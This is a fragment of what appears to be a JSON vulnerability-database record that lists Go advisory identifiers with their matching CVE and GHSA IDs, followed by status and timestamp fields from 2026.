GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:10.174179412Z","updated_at":"2026-11-02T15:54:03.503431Z"}]}}